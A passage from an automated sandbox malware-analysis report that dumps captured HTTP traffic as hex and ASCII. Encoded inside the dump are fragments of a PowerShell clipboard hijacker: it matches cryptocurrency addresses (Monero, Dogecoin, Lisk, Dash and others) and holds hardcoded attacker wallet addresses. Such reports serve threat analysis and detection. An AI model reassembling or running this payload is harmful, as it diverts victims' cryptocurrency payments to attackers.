32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 31 30 38 25 32 43 31 
30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 25 32 43 31 32 30 25 
32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 
Data Ascii: 9%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%
2C116%2C101%2C110%2C116%2C032%2C045%2C099%2C110%2C111%2C116%2C109%2C097%2C116%2C
099%2C104%2C032%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%2C103%2C101%2C12
0%2C041%2C013%2C010%2C009%2

2021-11-25 17:33:40 UTC 36 IN Data Raw: 32 43 30 34 35 25 32 43 31 32 32 25 32 43 30 39 33 25 32 43 31 32 33 25 32 43 30 35 31 25 32 43 30 35 30 
25 32 43 31 32 35 25 32 43 30 33 39 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 30 35 25 32 43 
31 30 32 25 32 43 30 34 30 25 32 43 30 33 36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 
25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 
31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 
25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 32 43 31 31 31 25 32 43 31 31 36 25 32 43 31 30 39 25 32 43 
30 39 37 25 32 43 31 31 36 25 32 43 30 39 39 25 32 43 31 30 34 25 32 43 30 
Data Ascii: 2C045%2C122%2C093%2C123%2C051%2C050%2C125%2C039%2C013%2C010%2C009%2C
105%2C102%2C040%2C036%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C06
7%2C111%2C110%2C116%2C101%2C110%2C116%2C032%2C045%2C099%2C110%2C111%2C116%2C109%
2C097%2C116%2C099%2C104%2C0
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2021-11-25 17:33:40 UTC 37 IN Data Raw: 31 30 33 25 32 43 31 30 31 25 32 43 31 32 30 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 
43 30 33 39 25 32 43 30 35 31 25 32 43 30 38 30 25 32 43 30 39 31 25 32 43 30 34 39 25 32 43 30 34 35 25 32 43 30 35 
37 25 32 43 30 36 35 25 32 43 30 34 35 25 32 43 31 32 32 25 32 43 30 39 33 25 32 43 31 32 33 25 32 43 30 35 31 25 32 
43 30 35 31 25 32 43 31 32 35 25 32 43 30 33 39 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 30 
35 25 32 43 31 30 32 25 32 43 30 34 30 25 32 43 30 33 36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 
43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 
37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 31 
Data Ascii: 103%2C101%2C120%2C032%2C061%2C032%2C039%2C051%2C080%2C091%2C049%2C04
5%2C057%2C065%2C045%2C122%2C093%2C123%2C051%2C051%2C125%2C039%2C013%2C010%2C009%
2C105%2C102%2C040%2C036%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C
067%2C111%2C110%2C116%2C101

2021-11-25 17:33:40 UTC 38 IN Data Raw: 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 
39 37 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 
32 43 31 30 31 25 32 43 31 32 30 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 39 25 32 43 30 
38 32 25 32 43 30 39 31 25 32 43 30 34 39 25 32 43 30 34 35 25 32 43 30 35 37 25 32 43 30 39 37 25 32 43 30 34 35 25 
32 43 31 32 32 25 32 43 30 39 33 25 32 43 30 39 31 25 32 43 30 34 39 25 32 43 30 34 35 25 32 43 30 35 37 25 32 43 30 
36 35 25 32 43 30 34 35 25 32 43 31 32 32 25 32 43 30 39 33 25 32 43 31 32 33 25 32 43 30 35 31 25 32 43 30 35 30 25 
32 43 31 32 35 25 32 43 30 33 39 25 32 43 30 31 33 25 32 43 30 31 30 25 32 
Data Ascii: 0%2C013%2C010%2C009%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%
2C103%2C101%2C120%2C032%2C061%2C032%2C039%2C082%2C091%2C049%2C045%2C057%2C097%2C
045%2C122%2C093%2C091%2C049%2C045%2C057%2C065%2C045%2C122%2C093%2C123%2C051%2C05
0%2C125%2C039%2C013%2C010%2

2021-11-25 17:33:40 UTC 40 IN Data Raw: 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 
25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 36 25 32 43 31 30 38 25 32 43 
31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 31 33 25 32 43 30 31 30 
25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 
31 30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 
25 32 43 31 32 30 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 39 25 32 43 30 36 36 25 32 43 
30 39 31 25 32 43 30 34 39 25 32 43 30 34 35 25 32 43 30 35 37 25 32 43 30 
Data Ascii: 2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C101%2C110%2C116%2C046%2C
108%2C101%2C110%2C103%2C116%2C104%2C013%2C010%2C013%2C010%2C009%2C036%2C118%2C09
7%2C108%2C105%2C100%2C082%2C101%2C103%2C101%2C120%2C032%2C061%2C032%2C039%2C066%
2C091%2C049%2C045%2C057%2C0

2021-11-25 17:33:40 UTC 41 IN Data Raw: 31 31 35 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 30 37 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 
43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 
36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 
43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 
36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 36 25 32 43 31 30 38 25 32 43 31 30 31 25 32 
43 31 31 30 25 32 43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 
33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 38 
Data Ascii: 115%2C116%2C114%2C076%2C101%2C110%2C103%2C116%2C104%2C032%2C061%2C03
2%2C036%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%
2C116%2C101%2C110%2C116%2C046%2C108%2C101%2C110%2C103%2C116%2C104%2C013%2C010%2C
013%2C010%2C009%2C036%2C118

2021-11-25 17:33:40 UTC 42 IN Data Raw: 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 
31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 
32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 35 25 32 43 31 
31 36 25 32 43 31 31 34 25 32 43 30 37 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 31 36 25 
32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 30 39 39 25 32 43 31 
30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 
32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 
Data Ascii: 7%2C114%2C100%2C067%2C111%2C110%2C116%2C101%2C110%2C116%2C041%2C013%
2C010%2C123%2C013%2C010%2C009%2C036%2C115%2C116%2C114%2C076%2C101%2C110%2C103%2C
116%2C104%2C032%2C061%2C032%2C036%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C11
4%2C100%2C067%2C111%2C110%2

2021-11-25 17:33:40 UTC 43 IN Data Raw: 32 43 31 31 35 25 32 43 30 34 30 25 32 43 30 39 31 25 32 43 31 31 35 25 32 43 31 31 36 25 32 43 31 31 34 
25 32 43 31 30 35 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 30 39 33 25 32 43 30 33 36 25 32 43 30 39 39 25 32 43 
31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 
25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 
31 31 30 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 32 33 25 32 43 30 31 33 
25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 35 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 
30 37 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 
Data Ascii: 2C115%2C040%2C091%2C115%2C116%2C114%2C105%2C110%2C103%2C093%2C036%2C
099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C10
1%2C110%2C116%2C041%2C013%2C010%2C123%2C013%2C010%2C009%2C036%2C115%2C116%2C114%
2C076%2C101%2C110%2C103%2C1

2021-11-25 17:33:40 UTC 45 IN Data Raw: 31 30 35 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 31 30 35 25 32 43 31 31 35 25 32 
43 30 38 36 25 32 43 30 37 33 25 32 43 30 36 35 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 
31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 34 30 25 32 43 30 39 31 25 32 43 31 31 35 25 32 43 31 31 36 25 32 
43 31 31 34 25 32 43 31 30 35 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 30 39 33 25 32 43 30 33 36 25 32 43 30 39 
39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 
43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 
31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 
Data Ascii: 105%2C111%2C110%2C032%2C105%2C115%2C086%2C073%2C065%2C065%2C100%2C11
4%2C101%2C115%2C115%2C040%2C091%2C115%2C116%2C114%2C105%2C110%2C103%2C093%2C036%
2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C
101%2C110%2C116%2C041%2C013

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 53 of 90



2021-11-25 17:33:40 UTC 46 IN Data Raw: 37 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 
31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 35 25 32 43 31 30 38 25 32 43 31 31 35 25 32 43 31 30 37 25 
32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 30 32 25 32 43 31 31 37 25 32 43 31 
31 30 25 32 43 30 39 39 25 32 43 31 31 36 25 32 43 31 30 35 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 30 33 32 25 
32 43 31 30 35 25 32 43 31 31 35 25 32 43 30 37 36 25 32 43 30 38 33 25 32 43 30 37 35 25 32 43 30 36 35 25 32 43 31 
30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 34 30 25 32 43 30 39 31 25 
32 43 31 31 35 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 31 30 35 25 32 
Data Ascii: 7%2C101%2C013%2C010%2C125%2C013%2C010%2C013%2C010%2C035%2C108%2C115%
2C107%2C013%2C010%2C013%2C010%2C102%2C117%2C110%2C099%2C116%2C105%2C111%2C110%2C
032%2C105%2C115%2C076%2C083%2C075%2C065%2C100%2C114%2C101%2C115%2C115%2C040%2C09
1%2C115%2C116%2C114%2C105%2

2021-11-25 17:33:40 UTC 47 IN Data Raw: 32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 36 
25 32 43 31 31 34 25 32 43 31 31 37 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 32 35 25 32 43 
30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 35 25 32 43 31 30 30 25 32 43 31 31 31 
25 32 43 31 30 33 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 
31 30 32 25 32 43 31 31 37 25 32 43 31 31 30 25 32 43 30 39 39 25 32 43 31 31 36 25 32 43 31 30 35 25 32 43 31 31 31 
25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 31 30 35 25 32 43 31 31 35 25 32 43 30 36 38 25 32 43 30 37 39 25 32 43 
30 37 31 25 32 43 30 36 39 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 
Data Ascii: 2C117%2C114%2C110%2C032%2C036%2C116%2C114%2C117%2C101%2C013%2C010%2C
125%2C013%2C010%2C013%2C010%2C035%2C100%2C111%2C103%2C101%2C013%2C010%2C013%2C01
0%2C102%2C117%2C110%2C099%2C116%2C105%2C111%2C110%2C032%2C105%2C115%2C068%2C079%
2C071%2C069%2C065%2C100%2C1

2021-11-25 17:33:40 UTC 49 IN Data Raw: 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 30 32 25 32 43 30 39 37 25 32 
43 31 30 38 25 32 43 31 31 35 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 
35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 31 34 25 32 
43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 
36 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 31 31 37 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 
43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 35 25 32 43 31 30 
30 25 32 43 30 39 37 25 32 43 31 31 35 25 32 43 31 30 34 25 32 43 30 31 33 
Data Ascii: 114%2C110%2C032%2C036%2C102%2C097%2C108%2C115%2C101%2C013%2C010%2C00
9%2C125%2C013%2C010%2C013%2C010%2C009%2C114%2C101%2C116%2C117%2C114%2C110%2C032%
2C036%2C116%2C114%2C117%2C101%2C013%2C010%2C125%2C013%2C010%2C013%2C010%2C035%2C
100%2C097%2C115%2C104%2C013

2021-11-25 17:33:40 UTC 50 IN Data Raw: 39 25 32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 31 
30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 25 
32 43 31 32 30 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 
31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 
32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 30 32 25 32 43 30 
39 37 25 32 43 31 30 38 25 32 43 31 31 35 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 
32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 
Data Ascii: 9%2C104%2C032%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%2C103%
2C101%2C120%2C041%2C013%2C010%2C009%2C123%2C013%2C010%2C009%2C009%2C114%2C101%2C
116%2C117%2C114%2C110%2C032%2C036%2C102%2C097%2C108%2C115%2C101%2C013%2C010%2C00
9%2C125%2C013%2C010%2C013%2

2021-11-25 17:33:40 UTC 51 IN Data Raw: 32 43 31 32 30 25 32 43 31 31 35 25 32 43 30 38 33 25 32 43 30 35 37 25 32 43 31 30 35 25 32 43 30 34 39 
25 32 43 31 31 39 25 32 43 31 32 32 25 32 43 31 31 39 25 32 43 30 39 38 25 32 43 31 31 38 25 32 43 31 31 39 25 32 43 
31 30 30 25 32 43 30 38 34 25 32 43 30 37 34 25 32 43 31 32 30 25 32 43 31 31 31 25 32 43 31 30 37 25 32 43 31 31 33 
25 32 43 30 37 31 25 32 43 30 36 37 25 32 43 31 30 39 25 32 43 30 36 37 25 32 43 30 33 34 25 32 43 30 34 34 25 32 43 
30 33 32 25 32 43 30 33 34 25 32 43 30 35 31 25 32 43 30 36 37 25 32 43 31 30 33 25 32 43 31 30 34 25 32 43 30 36 38 
25 32 43 30 37 38 25 32 43 31 30 35 25 32 43 30 36 38 25 32 43 30 35 30 25 32 43 30 37 34 25 32 43 30 35 33 25 32 43 
31 32 30 25 32 43 31 31 35 25 32 43 30 38 33 25 32 43 30 35 37 25 32 43 31 
Data Ascii: 2C120%2C115%2C083%2C057%2C105%2C049%2C119%2C122%2C119%2C098%2C118%2C
119%2C100%2C084%2C074%2C120%2C111%2C107%2C113%2C071%2C067%2C109%2C067%2C034%2C04
4%2C032%2C034%2C051%2C067%2C103%2C104%2C068%2C078%2C105%2C068%2C050%2C074%2C053%
2C120%2C115%2C083%2C057%2C1

2021-11-25 17:33:40 UTC 52 IN Data Raw: 30 39 39 25 32 43 31 30 30 25 32 43 31 30 31 25 32 43 31 30 31 25 32 43 30 35 34 25 32 43 30 33 34 25 32 
43 30 34 34 25 32 43 30 33 32 25 32 43 30 33 34 25 32 43 30 34 38 25 32 43 31 32 30 25 32 43 30 35 36 25 32 43 30 39 
37 25 32 43 31 30 32 25 32 43 30 35 36 25 32 43 30 35 34 25 32 43 31 30 31 25 32 43 30 35 30 25 32 43 30 39 39 25 32 
43 30 35 35 25 32 43 30 34 39 25 32 43 30 35 30 25 32 43 30 35 34 25 32 43 31 30 30 25 32 43 30 34 38 25 32 43 30 35 
36 25 32 43 30 35 31 25 32 43 30 35 36 25 32 43 30 35 35 25 32 43 0d 0a 
Data Ascii: 099%2C100%2C101%2C101%2C054%2C034%2C044%2C032%2C034%2C048%2C120%2C05
6%2C097%2C102%2C056%2C054%2C101%2C050%2C099%2C055%2C049%2C050%2C054%2C100%2C048%
2C056%2C051%2C056%2C055%2C

2021-11-25 17:33:40 UTC 52 IN Data Raw: 38 30 30 30 0d 0a 31 30 31 25 32 43 30 35 35 25 32 43 30 34 39 25 32 43 31 30 31 25 32 43 30 39 39 25 32 
43 30 35 34 25 32 43 30 35 34 25 32 43 30 35 37 25 32 43 30 35 37 25 32 43 30 39 38 25 32 43 30 39 39 25 32 43 30 35 
34 25 32 43 30 35 37 25 32 43 31 30 32 25 32 43 30 35 37 25 32 43 30 35 33 25 32 43 30 35 35 25 32 43 30 39 39 25 32 
43 31 30 30 25 32 43 31 30 31 25 32 43 31 30 31 25 32 43 30 35 34 25 32 43 30 33 34 25 32 43 30 34 34 25 32 43 30 33 
32 25 32 43 30 33 34 25 32 43 30 34 38 25 32 43 31 32 30 25 32 43 30 35 36 25 32 43 30 39 37 25 32 43 31 30 32 25 32 
43 30 35 36 25 32 43 30 35 34 25 32 43 31 30 31 25 32 43 30 35 30 25 32 43 30 39 39 25 32 43 30 35 35 25 32 43 30 34 
39 25 32 43 30 35 30 25 32 43 30 35 34 25 32 43 31 30 30 25 32 43 30 34 38 
Data Ascii: 8000101%2C055%2C049%2C101%2C099%2C054%2C054%2C057%2C057%2C098%2C099%2C054%2C05
7%2C102%2C057%2C053%2C055%2C099%2C100%2C101%2C101%2C054%2C034%2C044%2C032%2C034%
2C048%2C120%2C056%2C097%2C102%2C056%2C054%2C101%2C050%2C099%2C055%2C049%2C050%2C
054%2C100%2C048

2021-11-25 17:33:40 UTC 54 IN Data Raw: 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 36 25 32 43 30 38 38 25 32 43 31 
30 39 25 32 43 31 31 34 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 
32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 34 30 25 32 43 30 
33 34 25 32 43 30 35 36 25 32 43 30 35 31 25 32 43 30 37 34 25 32 43 30 38 39 25 32 43 31 31 37 25 32 43 31 31 31 25 
32 43 31 32 32 25 32 43 30 35 37 25 32 43 31 31 37 25 32 43 30 36 36 25 32 43 31 31 38 25 32 43 30 34 39 25 32 43 31 
31 30 25 32 43 31 32 31 25 32 43 30 34 39 25 32 43 31 30 35 25 32 43 31 30 35 25 32 43 31 31 31 25 32 43 30 38 39 25 
32 43 31 31 37 25 32 43 30 37 35 25 32 43 30 35 33 25 32 43 30 37 31 25 32 
Data Ascii: 3%2C010%2C013%2C010%2C036%2C088%2C109%2C114%2C065%2C100%2C100%2C114%
2C101%2C115%2C115%2C032%2C061%2C032%2C040%2C034%2C056%2C051%2C074%2C089%2C117%2C
111%2C122%2C057%2C117%2C066%2C118%2C049%2C110%2C121%2C049%2C105%2C105%2C111%2C08
9%2C117%2C075%2C053%2C071%2
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2021-11-25 17:33:40 UTC 55 IN Data Raw: 32 43 30 35 36 25 32 43 30 35 31 25 32 43 30 37 34 25 32 43 30 38 39 25 32 43 31 31 37 25 32 43 31 31 31 
25 32 43 31 32 32 25 32 43 30 35 37 25 32 43 31 31 37 25 32 43 30 36 36 25 32 43 31 31 38 25 32 43 30 34 39 25 32 43 
31 31 30 25 32 43 31 32 31 25 32 43 30 34 39 25 32 43 31 30 35 25 32 43 31 30 35 25 32 43 31 31 31 25 32 43 30 38 39 
25 32 43 31 31 37 25 32 43 30 37 35 25 32 43 30 35 33 25 32 43 30 37 31 25 32 43 30 38 31 25 32 43 30 36 38 25 32 43 
31 31 36 25 32 43 31 32 31 25 32 43 30 38 39 25 32 43 30 35 31 25 32 43 30 37 37 25 32 43 30 35 33 25 32 43 30 36 36 
25 32 43 30 37 36 25 32 43 30 35 33 25 32 43 30 37 32 25 32 43 31 30 35 25 32 43 30 35 34 25 32 43 30 37 38 25 32 43 
30 38 32 25 32 43 31 31 31 25 32 43 31 31 38 25 32 43 31 30 37 25 32 43 30 
Data Ascii: 2C056%2C051%2C074%2C089%2C117%2C111%2C122%2C057%2C117%2C066%2C118%2C
049%2C110%2C121%2C049%2C105%2C105%2C111%2C089%2C117%2C075%2C053%2C071%2C081%2C06
8%2C116%2C121%2C089%2C051%2C077%2C053%2C066%2C076%2C053%2C072%2C105%2C054%2C078%
2C082%2C111%2C118%2C107%2C0

2021-11-25 17:33:40 UTC 56 IN Data Raw: 31 31 37 25 32 43 30 37 35 25 32 43 30 35 33 25 32 43 30 37 31 25 32 43 30 38 31 25 32 43 30 36 38 25 32 
43 31 31 36 25 32 43 31 32 31 25 32 43 30 38 39 25 32 43 30 35 31 25 32 43 30 37 37 25 32 43 30 35 33 25 32 43 30 36 
36 25 32 43 30 37 36 25 32 43 30 35 33 25 32 43 30 37 32 25 32 43 31 30 35 25 32 43 30 35 34 25 32 43 30 37 38 25 32 
43 30 38 32 25 32 43 31 31 31 25 32 43 31 31 38 25 32 43 31 30 37 25 32 43 30 37 36 25 32 43 30 38 30 25 32 43 30 37 
37 25 32 43 31 31 39 25 32 43 31 30 35 25 32 43 30 38 37 25 32 43 31 31 35 25 32 43 30 35 33 25 32 43 30 38 31 25 32 
43 31 32 30 25 32 43 31 30 39 25 32 43 30 36 35 25 32 43 30 38 32 25 32 43 30 36 39 25 32 43 31 30 33 25 32 43 31 31 
35 25 32 43 30 36 36 25 32 43 31 31 32 25 32 43 30 36 36 25 32 43 30 36 35 
Data Ascii: 117%2C075%2C053%2C071%2C081%2C068%2C116%2C121%2C089%2C051%2C077%2C05
3%2C066%2C076%2C053%2C072%2C105%2C054%2C078%2C082%2C111%2C118%2C107%2C076%2C080%
2C077%2C119%2C105%2C087%2C115%2C053%2C081%2C120%2C109%2C065%2C082%2C069%2C103%2C
115%2C066%2C112%2C066%2C065

2021-11-25 17:33:40 UTC 58 IN Data Raw: 35 25 32 43 30 37 31 25 32 43 30 38 31 25 32 43 30 37 33 25 32 43 30 37 39 25 32 43 30 38 32 25 32 43 30 
38 34 25 32 43 30 38 37 25 32 43 30 38 31 25 32 43 30 37 32 25 32 43 30 38 35 25 32 43 30 38 38 25 32 43 30 38 38 25 
32 43 30 38 30 25 32 43 30 38 38 25 32 43 30 38 39 25 32 43 30 37 39 25 32 43 30 38 35 25 32 43 30 37 33 25 32 43 30 
37 39 25 32 43 30 38 39 25 32 43 30 35 34 25 32 43 30 36 37 25 32 43 30 36 38 25 32 43 30 38 31 25 32 43 30 38 38 25 
32 43 30 37 31 25 32 43 30 35 32 25 32 43 30 37 38 25 32 43 30 38 30 25 32 43 30 35 34 25 32 43 30 37 39 25 32 43 30 
36 39 25 32 43 30 38 31 25 32 43 30 35 35 25 32 43 30 33 34 25 32 43 30 34 34 25 32 43 30 33 32 25 32 43 30 33 34 25 
32 43 30 37 31 25 32 43 30 36 38 25 32 43 30 38 38 25 32 43 30 35 34 25 32 
Data Ascii: 5%2C071%2C081%2C073%2C079%2C082%2C084%2C087%2C081%2C072%2C085%2C088%
2C088%2C080%2C088%2C089%2C079%2C085%2C073%2C079%2C089%2C054%2C067%2C068%2C081%2C
088%2C071%2C052%2C078%2C080%2C054%2C079%2C069%2C081%2C055%2C034%2C044%2C032%2C03
4%2C071%2C068%2C088%2C054%2

2021-11-25 17:33:40 UTC 59 IN Data Raw: 32 43 30 31 30 25 32 43 30 33 36 25 32 43 30 38 38 25 32 43 30 37 36 25 32 43 30 37 37 25 32 43 30 36 35 
25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 
30 38 33 25 32 43 31 30 35 25 32 43 31 32 32 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 
25 32 43 30 33 36 25 32 43 30 38 38 25 32 43 30 37 36 25 32 43 30 37 37 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 
31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 34 36 25 32 43 31 30 38 
25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 31 33 25 32 43 
30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 
Data Ascii: 2C010%2C036%2C088%2C076%2C077%2C065%2C100%2C100%2C114%2C101%2C115%2C
115%2C083%2C105%2C122%2C101%2C032%2C061%2C032%2C036%2C088%2C076%2C077%2C065%2C10
0%2C100%2C114%2C101%2C115%2C115%2C046%2C108%2C101%2C110%2C103%2C116%2C104%2C013%
2C010%2C013%2C010%2C013%2C0

2021-11-25 17:33:40 UTC 60 IN Data Raw: 31 32 31 25 32 43 31 31 37 25 32 43 30 39 38 25 32 43 30 38 35 25 32 43 30 38 32 25 32 43 31 31 39 25 32 
43 30 37 30 25 32 43 30 37 37 25 32 43 31 30 39 25 32 43 31 30 35 25 32 43 30 37 34 25 32 43 30 36 37 25 32 43 31 30 
